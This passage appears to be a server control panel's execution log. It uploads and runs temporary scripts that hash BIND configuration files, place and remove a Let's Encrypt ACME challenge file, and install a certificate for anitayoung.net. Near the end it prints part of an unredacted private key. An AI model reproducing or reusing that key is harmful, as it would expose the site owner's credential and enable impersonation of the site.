9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-02 11:21:06: Establishing a connection
2026-02-02 11:21:18: Establishing a connection
2026-02-02 11:21:18: 

PUT: /tmp/pkp151352

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-02 11:21:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp151352; rm /tmp/pkp151352'

2026-02-02 11:21:19: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= e160e0a91b58fb9d249ad2b78dd6441c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-02 11:21:45: Establishing a connection
2026-02-02 11:21:45: Establishing a connection
2026-02-02 11:21:45: 

PUT: /tmp/pkp567527

#!/bin/bash
if [ -d "/var/www/anitayoung_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-02 11:21:45: 

chmod 755 /tmp/pkp567527; /tmp/pkp567527; rm /tmp/pkp567527

2026-02-02 11:21:45: 


1


2026-02-02 11:21:46: Establishing a connection
2026-02-02 11:21:46: 

PUT: /tmp/pkp452256

#!/bin/bash
mkdir -p "/var/www/anitayoung_www/.well-known/acme-challenge/"
cd "/var/www/anitayoung_www/.well-known/acme-challenge/"
cat > loC8MaDdwn_6dtNZS5Y_tekEMqJB8MeUSwkdbUZagsY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
loC8MaDdwn_6dtNZS5Y_tekEMqJB8MeUSwkdbUZagsY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 loC8MaDdwn_6dtNZS5Y_tekEMqJB8MeUSwkdbUZagsY


2026-02-02 11:21:47: 

chmod 755 /tmp/pkp452256; /tmp/pkp452256; rm /tmp/pkp452256

2026-02-02 11:21:47: 




2026-02-02 11:21:52: Establishing a connection
2026-02-02 11:21:52: 

PUT: /tmp/pkp333566

#!/bin/bash
mkdir -p "/var/www/anitayoung_www/.well-known/acme-challenge/"
cd "/var/www/anitayoung_www/.well-known/acme-challenge/"
rm loC8MaDdwn_6dtNZS5Y_tekEMqJB8MeUSwkdbUZagsY


2026-02-02 11:21:52: 

chmod 755 /tmp/pkp333566; /tmp/pkp333566; rm /tmp/pkp333566

2026-02-02 11:21:52: 




2026-02-02 11:21:52: Establishing a connection
2026-02-02 11:21:52: 

PUT: /tmp/pkp476627

#!/bin/bash
temp_file=$(mktemp)
TARGET=6784aa2fd84151497bb640fc77814c2a.crt

cat > $temp_file <<'endmsg'
3b:ac:34:32:34:01:6b:f2:ce:c0:c0:7a:0a:2d:b2:1f

-----BEGIN CERTIFICATE-----
MIIE+DCCA+CgAwIBAgISBcPGcrvSTxFsCMZtBlI9mVFsMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjAyMTAyMzE5WhcNMjYwNTAzMTAyMzE4WjAZMRcwFQYDVQQD
Ew5hbml0YXlvdW5nLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKs9IcU4q7cpJFRk7fEj86RGQ0ODBdLB//WCIz4depjzFcu7BB0Q14/GbnSAxcjO
IG5f0hwq82QTcNixvhmClew22tVnN1dugOxXf6GBkBcWDck7P7dKqCOP29iMeAhL
oqaoWW3tDYazzU3m3YJqjVeHKYfSMuB+xzWNOunvy5forbwZLFMSmK1mEjzoAZVH
UvyYV06fljVcR4lFuUGWoholF0cWaqTpn14gSy8sCJq+HtxFWtmunYevExwSYZcH
VxfZAAd5slw6doX0wt/0EEYTKsD7k+o77GNyZadjMBDfLZYetYCI/JDd9a4dgK2r
RyyL81vctpKk5dNamZNRS6UCAwEAAaOCAh4wggIaMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUYa4Lf0KSEfQAO3ueRZc6P+kRV48wHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5hbml0YXlvdW5nLm5ldDATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzEwOS5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHxAO8AdgCWl2S/
VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZweFmSuAAAEAwBHMEUCIQC3
CUl/Mc7O7cHYfEo+wbyP73kdqYk94mXJe50CjuwhEAIgXCbYoS0gtW36Ne3CW2eB
1dHB347IoX2SXvGj6I1/ldgAdQDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsU
wxRY5wAAAZweFmxaAAAEAwBGMEQCICbsMHY2/GCNsNeEi6x2/UX6cGB2/q/7FMLZ
dK8EYsvmAiBoI5I6wR2cgZT2gHPKn7BsEOWPgVOwVk+nsN+auTF/UDANBgkqhkiG
9w0BAQsFAAOCAQEAdRfgf+Ojw5pD10RFT2IBcJERg0ZpCGwUxLjldb+IwAaUtNlt
OfHhxfS/WAMKlJ4NQOIhp+LT8GnoWe7saL0JQCYul1l59G/QYGA3fW6aeWOGyDG7
a/IZy0yq/3w/byVFL7ImGUZ8UKJ/Warjwullo5/sCKDpRoB8YBnZND4z+AMMq/BM
XGmc+w20sppl/ULWW4Sl/brpdl0abCcEm8Yxp+Xjj6LE8SsaUWQwvuRZSICLWvqs
DuENN/99jEkB+NLBiUSIB4iOtR9ozQIZRiIKVfVcYvVxctarw9nKm43vQhSMPTSU
92LX2LMAsD6n6fJPWmWVg6tHp4VfVdPug7F/IA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCrPSHFOKu3KSRU
ZO3xI/OkRkNDgwXSwf/1giM+HXqY8xXLuwQdENePxm50gMXIziBuX9IcKvNkE3DY
sb4ZgpXsNtrVZzdXboDsV3+hgZAXFg3JOz+3Sqgjj9vYjHgIS6KmqFlt7Q2Gs81N
5t2Cao1XhymH0jLgfsc1jTrp78uX6K28GSxTEpitZhI86AGVR1L8mFdOn5Y1XEeJ
RblBlqIaJRdHFmqk6Z9eIEsvLAiavh7cRVrZrp2HrxMcEmGXB1cX2QAHebJcOnaF
9MLf9BBGEyrA+5PqO+xjcmWnYzAQ3y2WHrWAiPyQ3fWuHYCtq0csi/Nb3LaSpOXT
WpmTUUulAgMBAAECggEAC3wcpTkhTzYLsTtZuBgksapivYbun42SaLlzOqnIfLSl
DBZ9dqOYCZUR+G9glJC6nRyBH5GD5HznTylQqi5XdtHRCIoVLKCFNhTCQydI7jt0
7j+yjM0NjOELqjD1pfzIqmvVH6nMA/JQPT7UMXiLBUlT8D+ZWPQ30TApOOJz4brF
do+C1OSrzVmBKLWeOCCPc+4OF0QnIzXVtKhgVF+GHVq/W5z6TbcwroiSpS+4FEcF
Jj1pfpuVWBy/Z6z6VIKuyYYCG5gI7Nc8bhT5c2ik3FB0X/FFOKUq78hrMT6sSOYN
K+hGOLZQ2xAOq+M7/Udns8L8WSb7IRUKX4KaD10cEQKBgQDyEmiBoqNhGLtFxTSt
1rc8YGo950itPSjJsMQY6l6PDA2y10jgk+0oXXCQMSPEzX/qfMFlMGbsjj3eq9QM
D4lhLE2SsH+zvzf0xRS70iaBWtQzB81dYeeclv9//rPfex9xBPU7mxBUIRAtQRIV
L8zorge5EdRIvHtZXShMwKsqyQKBgQC1F2OmF/zKYH6BcLIFVlLXxKhJ13+J/F30
VpgbteYhKBM3OGzGrzMDjiPTAHULVkADqw0L0ik0ae4aO/qKcTbFtp15azx52/0L
pobFTmMbQQRlG08NNxbN1frOCFM0TfnbfuCb0qDIRdEeP3J0wFQEj07mu+Aq+Mbj
7/OZYhZr/QKBgQCOOJJ913f1y/n6++n/WG8/YcYJqKDiZ1RXaytLGCeGE6bYs/N1
PnPPi1Ze4QAK2FGXCsT1FoLh6JAhCwMCMv6bwNOyo0/j4yyU+lU8JDPLO/oAIU1e
1+6j6XMjWBmF62iFlkweQPRO+T3v2JMvL25MJjMTYI5ATbyKvFi4/1mRQQKBgGp/
B8YswygM2TisGrUS0AM+Dq3mQoXWWTaRGkDplx2WoL5Pu4CYlcqYc67pzOtO3LSL
ik+SV1MQnMrmzO9PpyNcwn0eOGF9ovGQDB/KenQTp08CYVnnNMz18tnpgWz4EmEn
21Un6A//Jvy/2UKZvI816/O7NxhuVyDDAyIH0iHNAoGBAJjyVfWTpEhsCrE+3h2Z
